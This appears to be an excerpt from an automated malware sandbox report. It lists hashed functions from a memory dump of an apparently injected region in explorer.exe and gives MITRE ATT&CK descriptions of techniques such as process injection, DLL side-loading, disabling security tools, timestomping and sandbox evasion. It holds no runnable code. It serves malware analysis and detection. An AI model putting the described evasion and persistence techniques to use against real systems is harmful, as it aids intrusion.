Opcode ID: e0e352254fb7e5a013788e2f18f7e819d05267b67cb29aa531dc81cd6f2bbe91
Instruction ID: 64f133e36aab6f599190e33d39ec1c9b9943c6025e6e30876dbdf8a4e39bee53
Opcode Fuzzy Hash: e0e352254fb7e5a013788e2f18f7e819d05267b67cb29aa531dc81cd6f2bbe91
Instruction Fuzzy Hash: 1121D370D0861E8FDB58DFA8D8846EEB7B2FB48350F10053EE419E3291DB38A950CB90

Function 00007FF887C62F6A Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a4087068e5924e375bf46c2c0a7c0e701a1df871e5d94e951bf1523b286e3a
Instruction ID: b77f7f1d8f4d7a42144121d70f8daf6258f70797d12ff7c9261fbeb84eed11b8
Opcode Fuzzy Hash: 88a4087068e5924e375bf46c2c0a7c0e701a1df871e5d94e951bf1523b286e3a
Instruction Fuzzy Hash: 6921A234A4891D9FDF84EB98D495AACBBF2FF69340F511569E00EE7252CB24E881CB40

Function 00007FF887C684D1 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ae784b6be06fa086f051cb4b9cec8da25b430e14456dedf969f15a5855aca99
Instruction ID: 1ad87890adb3a23157dcbd663bf18b1e47ce02863d52ea0a20d9132cced410c7
Opcode Fuzzy Hash: 8ae784b6be06fa086f051cb4b9cec8da25b430e14456dedf969f15a5855aca99
Instruction Fuzzy Hash: 35212570D4980A9EDB98DB59E8E16FCB3B6FF59740F409078D01EA3282DE34B941CB10

Function 00007FF887C6D33F Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e31897b7285085d21d65cc75e1ece60b04f5beeb243e40c52e4829800115624b
Instruction ID: fd938e37500179e031235be01505df98ceaa5f544c27a8f822e9df773f335336
Opcode Fuzzy Hash: e31897b7285085d21d65cc75e1ece60b04f5beeb243e40c52e4829800115624b
Instruction Fuzzy Hash: 2721A56199E6825FD767423498945B8BFB2BF432A170942FFD08DCB093DA4C6846C3A2

Function 00007FF887C6847A Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a52bb0456875933d3d2b66a9afa76adce377fd13c00e9e9036ea4d3db9affe99
Instruction ID: 5d924481d0d673f5010abfcd7b12383d22b94b17dd2a59c6e978feb6c4f9ffbe
Opcode Fuzzy Hash: a52bb0456875933d3d2b66a9afa76adce377fd13c00e9e9036ea4d3db9affe99
Instruction Fuzzy Hash: 7A111470D8940A9EDB58DB59E4E46FCB3B6FF59340F005078D01EA3282DA38B845DF14

Function 00007FF887C6310B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf7a6c3204bc82e5feaffc83d8f032d972958a3f5e05bcc5de8a6bdda417eb2a
Instruction ID: ac71c2fbab1c3b446d26aac8b620df02a10201dc109321c79cbd3e2104b05e09
Opcode Fuzzy Hash: bf7a6c3204bc82e5feaffc83d8f032d972958a3f5e05bcc5de8a6bdda417eb2a
Instruction Fuzzy Hash: 90112771A1895D9FDF80EB98D859AEDB7F1FF58300F04047AE409E3291DB34A850CB81

Function 00007FF887C68F98 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31c080e3f3ce028bafe7c296f80d3ec05937493db8014a31c8be223a5862ce62
Instruction ID: 8dcb893b8fcac0665dc2683fbe15e89a63d5d09ae542aa488f11ed3cf5d18d19
Opcode Fuzzy Hash: 31c080e3f3ce028bafe7c296f80d3ec05937493db8014a31c8be223a5862ce62
Instruction Fuzzy Hash: 151106B195CA0A9FEB84A668D0855EC77F2FF98340B10413ED40ED3186EE252841CB82

Function 00007FF887C63110 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a62173cc6b811b3a9c7af9e4319e38f0ed5b7653ab18a8996fd9985d7cc1abf
Instruction ID: a5245a66c7591edd6a3035aedf47a59c2c8511cecbc9033d354612f7a2ebf3dc
Opcode Fuzzy Hash: 0a62173cc6b811b3a9c7af9e4319e38f0ed5b7653ab18a8996fd9985d7cc1abf
Instruction Fuzzy Hash: 9A110570A1891D9FDF80EB98D859AEEB7F1FF58301F00057AE409E3251CB34A850CB91

Function 00007FF887C69345 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0a653a125cbe9feaccea5e1488438fc9545521725feffd3aba305afa987bb1a
Instruction ID: 43af0ea1293e2eebafd3e75807ad1b5413654e1405f9a65c0b7317470b22a77e
Opcode Fuzzy Hash: d0a653a125cbe9feaccea5e1488438fc9545521725feffd3aba305afa987bb1a
Instruction Fuzzy Hash: 69017571A5C9089FDB48E768E8926AC77F1FF59324F04017DD00ED31C2DA256816C741

Function 00007FF887C6D155 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30d6a1c42f8d59e6400fdd39ebd8d5883e9444cdd94e9b1d40c50de0d485b21
Instruction ID: 1b5611c7a8a362be039a7e7beb3fc2350b79bd774d9323e1a299553ca9b2cfc8
Opcode Fuzzy Hash: e30d6a1c42f8d59e6400fdd39ebd8d5883e9444cdd94e9b1d40c50de0d485b21
Instruction Fuzzy Hash: DE017571A5C9088FDB88E768E8926ECB7F1FF59324F04017DD00ED3282DA256856C781

Function 00007FF887C6BCCD Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 634ec7715c89fbbc7f3b5a0c8017698f7c3c6ec47c0e54c9d033481540215af2
Instruction ID: b16c1435d7f3416566c8a9a17a75c727ae68cfabaa46f9d9e4de54fcd0398dfc
Opcode Fuzzy Hash: 634ec7715c89fbbc7f3b5a0c8017698f7c3c6ec47c0e54c9d033481540215af2
Instruction Fuzzy Hash: CD018F71C98649AFE791AF64D4892EC7FF1FF45354F5441FAD808C7092EA286A42C741

Function 00007FF887C6C1FD Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb9fc1798eff58f7ccd4fcc993a840a3ee9e62ed66f4ef631d4fefa61f1f0a97
Instruction ID: b35f9f1b9f1646edd8ddf59fdce45229de5501b63cfe127471f44bc1098a9f56
Opcode Fuzzy Hash: fb9fc1798eff58f7ccd4fcc993a840a3ee9e62ed66f4ef631d4fefa61f1f0a97
Instruction Fuzzy Hash: 5A018F30C1C64E9FDB81EBA8D8852EEBBB5BF09340F4041BAE41CC3192DA382544C752

Function 00007FF887C6A088 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e415860537b91bb62189aba4d92b0b720f3301a9e41bed0b4455a4288c5f244
Instruction ID: 27ba64323dd145502bf062d1abcf4d8f4e818b9daafc84662c97b22a074cb544
Opcode Fuzzy Hash: 3e415860537b91bb62189aba4d92b0b720f3301a9e41bed0b4455a4288c5f244
Instruction Fuzzy Hash: 06014F31A58A098FD764EB38D0915AA73E2FF55381B4049BDC44FC7596EE38F846C780

Function 00007FF887C6FDE8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51a12acffeed79de586c098a3b15692108695e86c5daf9b67729a2587f376305
Instruction ID: 99399e2e6edafece5b6f123b5124e72b413bf0de3c243126e8a93a296a4f99a5
Opcode Fuzzy Hash: 51a12acffeed79de586c098a3b15692108695e86c5daf9b67729a2587f376305
Instruction Fuzzy Hash: C4016231A58A098FD7A4EB39D0805AA73F2FF54380B40497DC04EC7696DE39F845C740

Function 00007FF887C6FC67 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2e6628a0d753c7dd107e43ed25fafcb09a159a942f3174d1ce09c142e4010f1
Instruction ID: 8ea0feb6c80492c0bf49121e73ed4d3001062e7897f1bf301f533eb8fb4856d7
Opcode Fuzzy Hash: e2e6628a0d753c7dd107e43ed25fafcb09a159a942f3174d1ce09c142e4010f1
Instruction Fuzzy Hash: FBF0AF32644A0A8BE3659A1CE4913D973A3EBC5360F550A7EC84AC7395CD3DF482C300

Function 00007FF887C69F07 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d7cf2d697dc77884c6a93860fdbaf12e868088c6b4a688a33719a64cef7a63
Instruction ID: 8b61993bd31de818ad231a9c2b96b3e80e5edca3e5050b357c2ce6e3f965b9d1
Opcode Fuzzy Hash: a2d7cf2d697dc77884c6a93860fdbaf12e868088c6b4a688a33719a64cef7a63
Instruction Fuzzy Hash: 22F0A432244A064BD315961CE4917DA73A2EBC5360F55457EC84AC7395DD3DF582C340

Function 00007FF887C608CB Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abffd04298b042f71d16c7a186e2289725a5ca71d2818b75c35cd3cf79b5a11d
Instruction ID: fd3c590c8ea77bdb287347944db800436ade2cc9507125a7db579f04fd48351b
Opcode Fuzzy Hash: abffd04298b042f71d16c7a186e2289725a5ca71d2818b75c35cd3cf79b5a11d
Instruction Fuzzy Hash: 7C018FB08486488FEB44EF6CD8883A87FF0FBDA308F44456AD40CC22D5DB351599C782

Function 00007FF887C690A2 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08071710ee4b3a0a99fae776bc3be7cfb41d676a9ee10936d3940716cab33e2b
Instruction ID: df34843fc9bd58fda18ef92ac0589ebb01f09b858e8c309e3e5ccf7e603fd2f0
Opcode Fuzzy Hash: 08071710ee4b3a0a99fae776bc3be7cfb41d676a9ee10936d3940716cab33e2b
Instruction Fuzzy Hash: 6FF0A931E1890D9FDF84EBA8C495AEDB7F1FF58341B404069D40EE3251DE28A841CB51

Function 00007FF887C61BE3 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e61ea7cd5c88c6b66c80fe33feb4637e5e676dd514a2eb1017daad7d3a8e1209
Instruction ID: 8456bddda58af97844ef98dfa5cd32032322dd9f20aa019976284b7b3f755c7c
Opcode Fuzzy Hash: e61ea7cd5c88c6b66c80fe33feb4637e5e676dd514a2eb1017daad7d3a8e1209
Instruction Fuzzy Hash: 3FF0B771E0891D8FEF94EB98D8957ECB7B2FB58341F50416AC50DE3241DE3868519B41

Function 00007FF887C6280B Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2454b04b6970654b38a17d9b1e4f0a6e7e7e09fbd9ce5321a8287b022f11a5c8
Instruction ID: 99e73224ea23ba0b12b1e8ab4c00499a185c62bf5393d1cb53cc8ffefc8b1617
Opcode Fuzzy Hash: 2454b04b6970654b38a17d9b1e4f0a6e7e7e09fbd9ce5321a8287b022f11a5c8
Instruction Fuzzy Hash: 0CF03A76D5890D8EDF81EB98D8556FEBBF1FB58301F00043AE509E3180DB34A554CB81

Function 00007FF887C62810 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dbd3f888a1b19581b38ed27c028544f94e0fe5c6a9943e86b2da5b41740d4ab
Instruction ID: 93dccb62cbdea8c69e2728225b36e4a985f3deb489e49305ad9d286e0240bec8
Opcode Fuzzy Hash: 0dbd3f888a1b19581b38ed27c028544f94e0fe5c6a9943e86b2da5b41740d4ab
Instruction Fuzzy Hash: B8F0583181890D8EDF80EB98D8497FEBBF0FB49305F00052AE109E3180DB35A1548B81

Function 00007FF887C6096B Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c93f8b10213169d975d12f236c8cd42e3d51a3ad3ea86ff868a6eb24b3f43890
Instruction ID: d5ab1d0161380cb782a61ea773f925054e1caf2ea0fdcc411f222da77ee16708
Opcode Fuzzy Hash: c93f8b10213169d975d12f236c8cd42e3d51a3ad3ea86ff868a6eb24b3f43890
Instruction Fuzzy Hash: EBF09A71C98A0D9EEB54EB68C8986BDBBF2FF54344F4400B9D419E70D2EE346A84C741

Function 00007FF887C68F31 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 645b19fe3e99bae36548be009377c9570c4c1f46bf5ed495e69e4f0fff59995f
Instruction ID: 0cf442c9256e38e597dcd44edbc961c602b5e4fbd9096ab4c91d8e03189fc83b
Opcode Fuzzy Hash: 645b19fe3e99bae36548be009377c9570c4c1f46bf5ed495e69e4f0fff59995f
Instruction Fuzzy Hash: DAE02621C4CB910FD7A46265A4951947AE1EF1521070901EFC58AC7183FD5CAC418306

Function 00007FF887C67BFB Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6af7ff6d7501a869f59b537104d89896a3fa1f0425b331a2ca2a26ed552bbc19
Instruction ID: 57f7577a1d49d2bf09f05cd4e3188b197c2412d08049d3dc82f07ed40d66bef9
Opcode Fuzzy Hash: 6af7ff6d7501a869f59b537104d89896a3fa1f0425b331a2ca2a26ed552bbc19
Instruction Fuzzy Hash: 11E0867188D54D4BDB15EF54DD412FD7A61FF45340F040939E42D83081EB79A564C781

Function 00007FF887C6D1D1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97bfa5060d875485e233d4bed1db59b9af19020b824eb5e0b00f8b52afc98504
Instruction ID: 452336cfe936869eea86079998c6101cdd9a0e236f77e5d2e0ad2e7bbc5eeca2
Opcode Fuzzy Hash: 97bfa5060d875485e233d4bed1db59b9af19020b824eb5e0b00f8b52afc98504
Instruction Fuzzy Hash: ADB09211B5C8090A67E4A11CA14563E00D7ABD81A0724037FC00DC328DEC1878038286

Function 00007FF887C6B9CD Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6065ccd08c7418a69208a1c5074202534f9f6e7e785a7e38a9a230fa036e8997
Instruction ID: 3c439a2212727a4832c59dda22c18d2e97fef6496700cc0b30c5211f21f3c917
Opcode Fuzzy Hash: 6065ccd08c7418a69208a1c5074202534f9f6e7e785a7e38a9a230fa036e8997
Instruction Fuzzy Hash: 83B09200CCC40390E724296084C11BC2832BF08398EB00578C00F03081FE0E3084E202

Non-executed Functions

Function 00007FF887C60688 Relevance: 5.4, Strings: 4, Instructions: 366COMMON

Download Yara Rule

Strings

(0E, xrefs: 00007FF887C62411
(0E, xrefs: 00007FF887C62428
N_^, xrefs: 00007FF887C60722
r6B, xrefs: 00007FF887C6239E

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: (0E$(0E$N_^$r6B
API String ID: 0-2372584359
Opcode ID: 92c68ebeac3cb993a4c2d82b14b6fd20a033c7868c9add6747ae303e9cc6c2a3
Instruction ID: 327559b29b73146feefa9c5c3ec88fde4710ba32b45ff5a19050b1cf797104b9
Opcode Fuzzy Hash: 92c68ebeac3cb993a4c2d82b14b6fd20a033c7868c9add6747ae303e9cc6c2a3
Instruction Fuzzy Hash: E2A1CA22F4CE4A4BEB98EA5CA4E56F937E2FF94395714017BC44DC7187EE18E8468341

Function 00007FF887C6FFC0 Relevance: 5.1, Strings: 4, Instructions: 148COMMON

Download Yara Rule

Strings

b4B, xrefs: 00007FF887C6FFEF
b4B, xrefs: 00007FF887C7008B
CY_H, xrefs: 00007FF887C7006F
b4B, xrefs: 00007FF887C7003D

Memory Dump Source

Source File: 0000001B.00000002.1784824065.00007FF887C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ff887c60000_explorer.jbxd

Similarity

API ID:
String ID: CY_H$b4B$b4B$b4B
API String ID: 0-1829337378
Opcode ID: 1aab314fb63a78175df9b7943281cc74e1797f40b92e83f27a60a3a5be666ecf
Instruction ID: 555707acd2888ed78a9c93810fa9aa29502485d7f2c84e6541a4b03605c3b8bb
Opcode Fuzzy Hash: 1aab314fb63a78175df9b7943281cc74e1797f40b92e83f27a60a3a5be666ecf
Instruction Fuzzy Hash: 1F513B71D58A5D9FDB98DBACC451AACBBF2FF59391F10017AC40DE7282DE286841CB41

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

